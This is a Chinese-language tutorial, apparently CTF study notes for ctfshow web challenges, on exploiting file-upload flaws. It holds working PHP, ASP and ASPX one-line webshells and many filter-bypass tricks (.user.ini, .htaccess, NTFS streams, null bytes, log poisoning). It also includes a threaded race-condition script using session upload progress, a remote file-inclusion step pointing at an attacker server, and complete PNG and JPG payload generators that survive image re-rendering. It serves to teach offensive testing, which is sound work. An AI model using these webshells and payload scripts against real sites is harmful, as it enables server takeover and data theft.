文件上传文件包含原本只是一种功能,但是因为程序员没有对上传的文件和引用的文件进行严格的验证和过滤,导致恶意用户上传或者包含了恶意的文件导致了网站被攻击。
文件上传
文件上传漏洞主要是因为程序员未对上传的文件进行严格的验证和过滤而导致用户可以越过本身的权限向服务器上传可执行的动态脚本文件,从而获取服务器权限危害服务器。
文件后缀的绕过
文件后缀黑白名单绕过
有的时候网站会进行黑白名单的设置可以利用其他后缀
asp/aspx
asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr
php
php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml
jsp
jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml
文件后缀双写绕过
后端将不合法的后缀替换为空,一般正则只做了一次替换或一次匹配,这个时候就可以尝试双写绕过
后缀添加空格绕过
适用于简单地用正则匹配扩展名结尾,没有进行去空操作
抓包再后缀中添加空格会绕过
Windows系统环境特征绕过
Windows系统特征中文件后缀名的点会自动省略
burpsuite中添加.即可
NTFS 交换数据流::$DATA绕过
::$DATA知识点补充
如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上传。 在window下如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名
例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php
Windows环境叠加特性绕过
一些检测机制会只检查 后缀,认为是 .jpg
a.php:.jpg,因为NTFS 不创建 a.php:.jpg 这个“文件名”,
而是创建了一个 空白主文件 a.php,并附加一个名为 .jpg 的数据流
补充几个正则匹配时效果相同的符号
>=?
<=*
” = .
之后随便上传一个文件进行抓包修改其文件名为a.>>>=a.php在写入恶意代码即可
%00 截断绕过
抓包在文件名末尾添加%00进行绕过,POST提交的时候需要进行URL编码
/.绕过
抓包在文件名末尾添加/.
Apache、IIS、Nginx都存在文件上传解析漏洞具体参考中间件安全篇
一句话木马
通常恶意用户会选择上传一句话木马达到getshell的目的
几种一句话木马的形式
PHP
<?php eval($_POST[1]);?> -- <?php @eval($_POST[1]);?> @ 当遇到报错的时候不显示报错
四种PHP一句话木马的标记风格
XML风格<?php eval($_POST[1]);?>
脚本风格
<script language="php">eval($_POST['cmd'])</script>
简短风格
<?=eval($_POST[1]);?>
ASP风格
<%eval request("pass")%>
ASPX
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
实战演练
前端校验
前端校验只允许上传png,jpg等图片格式
方法一:抓包修改
准备一个1.txt文件写入一句话木马,提交的时候抓包,修改文件后缀,没啥好说的
方法二:禁用前端JS或者修改前端JS
前端校验被修改或者被屏蔽之后可以直接上传一句话木马就行了,也没啥好说的
后端校验
方法一:上传.user.ini文件绕过
.user.ini文件知识点回顾
原理 .user.ini中两个配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
首先上传一个.user.ini文件,文件中写入
auto_prepend_file=php.png
之后上传php.png就可以了,随便访问一个.php文件,会自动包含该文件中的内容将其当作php文件进行执行,相当于传入了一句话木马,拿蚁剑连接就行了。
具体题目可以参考ctfshow web入门153
方法二:上传.htaccess文件
.htaccess文件知识点回顾
.htaccess文件是一个用于Apache HTTP服务器上的配置文件,它允许对网站进行细粒度的配置,可以进行多文件名进行重写,更改文件扩展名
.htaccess文件中写入
<FilesMatch “jpg”>
SetHandler application/x-httpd-php
</FilesMatch>
匹配jpg文件,将jpg文件当作php脚本执行
先将.htaccess文件上传之后再将1.php更改为jpg上传之后成功
htaccess文件只能运用于Apache的系统中,Apache 2.0 Handler
具体题目可以参考ctfshow web入门167
后端校验.zip
向1.txt中写入一句话木马再进行压缩为.zip格式上传就行,没啥可说的
具体题目可以参考ctfshow web入门166
严格的后端校验
当后端校验不仅仅是对于文件后缀名进行校验,同时还对文件的内容进行校验
进行模糊查询
正常上传.png格式的文件,进行抓包丢到Intruder中用fuzz字典进行模糊查询,确认哪些字符被过滤了。
确认过滤了php
正常传入.user.ini文件之后,对1.png文件中的内容进行修改,使其不带php并且达到一句话木马的效果,参考前面一句话木马的四种形式
<?=eval($_POST[1]);?>采用简洁风格一句话木马
具体题目可以参考ctfshow web入门154
确认过滤了[]+php
继续采用简洁风格的一句话木马
同时{}是可以代替[]的
<?=eval($_POST{1});?>
具体题目可以参考ctfshow web入门156
过滤了eval、php、[]、{}
选择最基本的流程进行查找
查看当前目录下的文件,没有的话查看上一级目录
<?=system('ls');?>,<?=system('ls ../');?>
找到存放flag的文件的位置
<?=system('cat ../f*')?>
具体题目可以参考ctfshow web入门157
过滤了php、[]、{}、;、()
看似无法进行RCE了,其实还有一个函数可以使用,shell_exec()
该函数可以用“的形式进行替代
基本流程不过多的赘述了
<?`tac flag*`?>
具体题目可以参考ctfshow web入门158
过滤了php、[]、{}、;、()、“
反引号也被过滤了,过滤了很多关键的字符,这里可以考虑利用,先日志注入之后日志包含
关于日志注入的回顾
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
首先测试容器的中间件是什么,测试后发现是Nginx中间件

Nginx中间件的日志存放的位置:/var/log/nginx/access.log
基本的思路是正常上传.user.ini文件,在.user.ini写入的文件(例如1.png)中进行包含日志
1.png文件中写入
<?=include”/var/log/nginx/access.log”?>
但是测试之后发现过滤了关键字log
回顾一个知识点
.再php中可以进行string字符串的拼接,因此可以进行拼接绕过
<?=include”var/lo”.”g/nginx/access.lo“.”g“?>
观察日志发现,日志记录了User-Agent头,因此上传.user.ini文件的时候抓包修改User-Agent头进行修改注入一句话木马


再用蚁剑连接就可以了
具体题目可以参考ctfshow web入门160
后端进行了文件头校验
文件头检测通常指的是对文件的开头部分(即文件头)进行检查,以判断文件的类型、格式是否合法或是否被篡改。
其中最常用的图片文件头是GIF89a,在文件内容中添加该文件头即可绕过检测。

具体题目可以参考ctfshow web入门161
后端校验了Content-Type
PNG图片中Content-type = image/png
JPG图片中Content-type = image/jpeg
抓包后添加即可
后端.进行了过滤
正常的方法都无法进行绕过
唯有条件竞争可以绕过或者远程文件包含可以绕过
条件竞争
这里主要描述条件竞争的方法(session条件竞争)
简单回顾一下条件竞争,文件上传的条件竞争漏洞是指攻击者利用服务器在验证文件和保存文件之间存在的时间差,通过并发请求或快速替换方式绕过安全检查,成功上传并执行恶意文件(如 webshell),在服务器验证文件是否合法之前,该文件已经被服务器保存了下来导致绕过了安全检
知识点补充session条件竞争
目标站点使用 PHP,存在 session.upload_progress 功能 —— 这是一个 PHP 提供的会话上传进度功能,会把上传文件的进度信息临时保存在 /tmp/sess_<PHPSESSID> 中。
session.upload_progress中会短暂存放上传文件的内容,如果没有被及时删除掉并且Cookie中设置了PHPSESSID=text,就会导致上传文件的内容被储存在了/tmp/sess_text中,访问该文件就会执行文件中的代码。
思路
先上传一个.user.ini文件写入
auto_prepend_file=/tmp/sess_shell
构造一个开启了session_upload.progress的POST文件提交
<!DOCTYPE html>
<html>
<body>
<form action="https://42313e85-2096-4694-951d-407a4c5eeec4.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls'); ?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
随便上传一个文件进行抓包修改,将session_upload.progress中的内容更改为,添加cookie:PHPSESSID=shell
------WebKitFormBoundaryRzriui8ZnuLFgHAh
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
<?php fwrite(fopen('1.php','w'),'<?php eval($_POST[1]);?>');?>
当竞争成功即为上传成功的时候,访问1.php即可创建1.php并且写入一句话木马

丢入intruder中进行持续上传,同时再抓一个包持续访问上传后文件所保存的位置,直到出现不同长度的包说明上传成功

这个时候访问1.php就创建了1.php写入了一句话木马再用蚁剑连接即可。
条件竞争脚本
大佬提供的脚本
import requests
import threading
import re
# 创建一个会话对象,保持会话的状态
session = requests.session()
# 自拟的PHPSESSID,用于保持上传过程中的会话一致性
sess = 'zho'
# 目标URL
url1 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/"
url2 = "http://34da5d39-b2c1-45a3-a6bb-607e8941ca5a.challenge.ctf.show/upload"
# POST请求数据,利用PHP的SESSION_UPLOAD_PROGRESS漏洞,注入恶意PHP代码
data1 = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>' # 使用system函数执行命令
}
# 要上传的文件数据
file = {
'file': '111' # 文件名可以随意设置
}
# 设置会话cookie
cookies = {
'PHPSESSID': sess # 上传过程中使用固定的PHPSESSID
}
# 定义上传文件的函数,持续发送POST请求
def upload_file():
while True:
session.post(url1, data=data1, files=file, cookies=cookies)
# 定义读取文件的函数,持续检查返回的页面内容
def check_flag():
while True:
response = session.get(url2) # 访问目标URL,检查是否能获取到flag
if 'flag' in response.text: # 检查返回内容中是否包含flag
# 正则匹配flag,格式为ctfshow{}
flag = re.search(r'ctfshow{.+}', response.text)
if flag:
print(flag.group()) # 如果找到flag,打印它
# 创建两个线程,一个上传文件,一个检查flag
threads = [
threading.Thread(target=upload_file),
threading.Thread(target=check_flag)
]
# 启动所有线程
for t in threads:
t.start()
远程文件包含
本地搭建VPS开启远程文件包含,让其包含远程服务器上的一句话木马,将VPS的IP地址进行转化将其转为长地址不包含.
#IP转换为长整型
def ip2long(ip):
ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
result = 0
for i in range(4): #0,1,2,3
result = result+int(ip_list[i])*256**(3-i)
return result
#长整型转换为IP
def long2ip(long):
floor_list = []
num = long
for i in reversed(range(4)):
res = divmod(num,256**i)
floor_list.append(str(res[0]))
num = res[1]
return '.'.join(floor_list)
print(ip2long('127.0.0.1'))
更改.user.ini文件为
auto_append_file=http://xxxxxxxx/
具体题目可以参考ctfshow web入门162、163
图片二次渲染绕过
PNG图片二次渲染
PNG图片二次渲染漏洞知识点补充
PNG文件格式结构
PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来组织的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:
IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
IDAT(Image Data):图像数据块,包含实际的图像像素信息。
IEND(Image End):图像结束块,表示图像文件的结束。
其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。
在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不损坏图像文件,几乎不可能
二次渲染漏洞的产生原因
不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。
损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。
利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。
PNG 二次渲染漏洞的典型利用方式
(1)篡改块内容或顺序: 攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如: 在一个浏览器中,图像可能被正常显示; 而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。 这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。
(2)损坏的图像数据: 通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。
(3)颜色管理和透明度问题: PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如: 在某些浏览器中,图像可能会显示为透明; 在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。
(4)文本注释块(tEXt)滥用: 某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。
脚是通过操纵 IDAT 块(图像数据块)将恶意代码插入了图片
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./shell.png');
?>

利用的时候注意HTTP头部
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。

具体题目可以参考ctfshow web入门164
JPG图片二次渲染
JPG图片二次渲染漏洞知识点补充
JPG的文件格式
一个典型的JPG文件由多个段组成,每个段都有特定的标识符和数据。常见的段包括:
SOI(Start of Image):图像开始标志
APPn(Application segments):应用程序自定义数据段
DQT(Define Quantization Table):量化表定义
DHT(Define Huffman Table):哈夫曼表定义
SOS(Start of Scan):扫描开始标志
EOI(End of Image):图像结束标志
JPG图片第一次解析和渲染
当一个JPG文件被加载时,图像解析器会读取文件并将其内容转换为内存中的数据结构。解析器会逐段解析文件,并根据段内的指令和数据生成对应的图像。
- 解析头部信息:读取SOI和EOI标志,确定文件的边界。
- 解析数据段:逐个解析APPn、DQT、DHT、SOS等段,解码图像数据并渲染。
二次渲染漏洞的产生
- 修改APPn段:在第一次解析时,攻击者通过APPn段嵌入恶意数据,使解析器在后续处理时触发漏洞。
- 伪造数据段:攻击者修改DQT或DHT段,使得在二次渲染时解析器崩溃或执行恶意代码。
漏洞利用脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
需要在Linux下进行二次渲染,博士的图片成功率比较高

上传之后正常RCE就行了











